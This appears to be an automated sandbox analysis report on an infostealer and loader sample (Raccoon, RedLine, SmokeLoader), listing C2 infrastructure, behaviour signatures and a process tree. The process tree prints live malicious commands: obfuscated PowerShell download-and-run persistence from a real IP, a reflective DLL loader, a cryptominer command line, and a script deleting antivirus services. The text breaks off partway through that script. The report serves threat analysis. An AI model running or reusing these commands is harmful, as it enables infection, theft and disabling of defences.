Overview

overview

10

Static

static

2c30e73406...e5.exe

windows7_x64

10

2c30e73406...e5.exe

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    12/08/2021, 00:11

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2c30e7340666a2b59ee88f5250ab50e5.exe
  • Size 319KB
  • Sample210812-grey77llca
  • SHA256 e43b2359f27dde4a5f8de4483f9db4016bdf1d2dd0a93ebdbc6c599b3bcbf889
  • MD5 SHA1 SHA512
Score
10/10
raccoonredlinesmokeloader2ca2376c561d1af7f8b9e6f3256b06220a3db187471c70de3b4f9e4d493e418d1f60a90659057de0@gasfer_darkcd8dc1031358b1aec55cc6bc447df1018b068607backdoordiscoveryevasioninfostealerpersistencespywarestealersuricatathemidatrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.241.19.52/Api/GetFile2

Extracted

Family

  • smokeloader

Version

  • 2020

C2

  • http://readinglistforjuly1.xyz/

  • http://readinglistforjuly2.xyz/

  • http://readinglistforjuly3.xyz/

  • http://readinglistforjuly4.xyz/

  • http://readinglistforjuly5.xyz/

  • http://readinglistforjuly6.xyz/

  • http://readinglistforjuly7.xyz/

  • http://readinglistforjuly8.xyz/

  • http://readinglistforjuly9.xyz/

  • http://readinglistforjuly10.xyz/

  • http://readinglistforjuly1.site/

  • http://readinglistforjuly2.site/

  • http://readinglistforjuly3.site/

  • http://readinglistforjuly4.site/

  • http://readinglistforjuly5.site/

  • http://readinglistforjuly6.site/

  • http://readinglistforjuly7.site/

  • http://readinglistforjuly8.site/

  • http://readinglistforjuly9.site/

  • http://readinglistforjuly10.site/

rc4.i32
rc4.i32

Extracted

Family

  • raccoon

Botnet

  • 2ca2376c561d1af7f8b9e6f3256b06220a3db187

Attributes
  • url4cnc

    https://telete.in/johnyes13

rc4.plain
rc4.plain

Extracted

Family

  • redline

Botnet

  • @gasfer_dark

C2

  • 207.154.240.76:80

Extracted

Family

  • raccoon

Botnet

  • cd8dc1031358b1aec55cc6bc447df1018b068607

Attributes
  • url4cnc

    https://telete.in/jagressor_kz

rc4.plain
rc4.plain

Extracted

Family

  • raccoon

Botnet

  • 471c70de3b4f9e4d493e418d1f60a90659057de0

Attributes
  • url4cnc

    https://telete.in/p1rosto100xx

rc4.plain
rc4.plain

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
    evasiontrojan
  • Process spawned unexpected child process 8 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • Raccoon Stealer Payload 3 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 62 IoCs
  • Checks BIOS information in registry 2 TTPs 64 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 9 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 43 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 5 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 8 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2c30e7340666a2b59ee88f5250ab50e5.exe
    "C:\Users\Admin\AppData\Local\Temp\2c30e7340666a2b59ee88f5250ab50e5.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3628
    • C:\Users\Admin\AppData\Local\Temp\2c30e7340666a2b59ee88f5250ab50e5.exe
      "C:\Users\Admin\AppData\Local\Temp\2c30e7340666a2b59ee88f5250ab50e5.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2496
  • C:\Users\Admin\AppData\Local\Temp\837E.exe
    C:\Users\Admin\AppData\Local\Temp\837E.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3668
    • C:\Users\Admin\AppData\Local\Temp\is-EK51K.tmp\837E.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-EK51K.tmp\837E.tmp" /SL5="$300F2,4193427,831488,C:\Users\Admin\AppData\Local\Temp\837E.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2988
      • C:\Users\Admin\AppData\Local\Temp\837E.exe
        "C:\Users\Admin\AppData\Local\Temp\837E.exe" /VERYSILENT
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3288
        • C:\Users\Admin\AppData\Local\Temp\is-F2UJQ.tmp\837E.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-F2UJQ.tmp\837E.tmp" /SL5="$400F2,4193427,831488,C:\Users\Admin\AppData\Local\Temp\837E.exe" /VERYSILENT
          4⤵
          • Executes dropped EXE
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2336
          • C:\Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe
            "C:\Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Modifies system certificate store
            PID:1792
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:3016
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:4232
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:2636
            • C:\ProgramData\Data\install.exe
              "C:\ProgramData\Data\install.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              PID:3288
              • C:\ProgramData\Data\install.exe
                "C:\ProgramData\Data\install.exe"
                7⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Drops file in System32 directory
                • Drops file in Windows directory
                PID:4460
                • C:\Users\Public\Videos\wininit.exe
                  "C:\Users\Public\Videos\wininit.exe"
                  8⤵
                  • Executes dropped EXE
                  PID:4896
            • C:\ProgramData\Systemd\HostData.exe
              NULL
              6⤵
              • Executes dropped EXE
              PID:2284
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:3196
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:4272
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:4332
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:4492
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:2276
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:4828
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:4924
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:4972
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:4724
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:4804
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:4712
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:5024
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:5052
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:5060
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:1876
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:3156
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:2380
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:1104
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:5104
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:4212
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:4140
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:4448
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:4932
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:2288
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:1480
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:788
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:1856
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:4456
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:4692
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:4952
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:4216
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks whether UAC is enabled
              PID:4724
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:4688
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:4704
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:4996
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:5036
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:5056
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:5072
            • C:\ProgramData\Data\Database.exe
              -pool etc.2miners.com:1010 -wal 0xAB47706984A447d19722CD3565B145e1e34CA7F0 -worker Worker -pass password666
              6⤵
              • Executes dropped EXE
              • Checks BIOS information in registry
              • Checks whether UAC is enabled
              PID:5060
  • C:\Users\Admin\AppData\Local\Temp\8CD5.exe
    C:\Users\Admin\AppData\Local\Temp\8CD5.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:3760
  • C:\Users\Admin\AppData\Local\Temp\914B.exe
    C:\Users\Admin\AppData\Local\Temp\914B.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1584
    • C:\ProgramData\Runtimebroker.exe
      "C:\ProgramData\Runtimebroker.exe"
      2⤵
      • Executes dropped EXE
      • Drops startup file
      • Suspicious use of WriteProcessMemory
      PID:1832
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://91.241.19.52/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
        3⤵
        • Adds Run key to start application
        PID:2720
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell $dll =[Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://91.241.19.52/Api/GetFile2'));$theType = $dll.GetType('filedll.Program');$method = $theType.GetMethod('Start');$method.Invoke([System.Activator]::CreateInstance($theType),@());rv dll,theType,method
        3⤵
        • Blocklisted process makes network request
        PID:4352
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell" Get-MpPreference -verbose
          4⤵
            PID:4684
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" @echo off Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE2.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE1.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP18.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP17.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP16.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP15.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP14.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP13.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP12.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP11.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP10.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MBAMService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAWFwk" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MSK80Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAPExe" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McBootDelayStartSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mccspsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfefire" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\HomeNetSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ModuleCoreService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McMPFSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mcpltsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McProxy" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McODS" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfemms" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAfee SiteAdvisor Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfevtp" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McNaiAnn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\nanosvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\NortonSecurity" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\!SASCORE" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\SBAMSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVAuxSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVCoreSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\QHActiveDefense" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Firewall" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVG Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirMailService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Avira.ServiceHost" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirWebService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirSchedulerService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsservppl" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ProductAgentService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsserv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\updatesrv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdAgent" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdvirth" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\DragonUpdater" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ekrn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\0247141531883172mcinstcleanup" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\PEFService" /f set "osX=%PROCESSOR_ARCHITECTURE%" if defined PROCESSOR_ARCHITEW6432 set "osX=AMD64" if "%osX%"=="x86" ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg64.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlservice.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -boot" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add 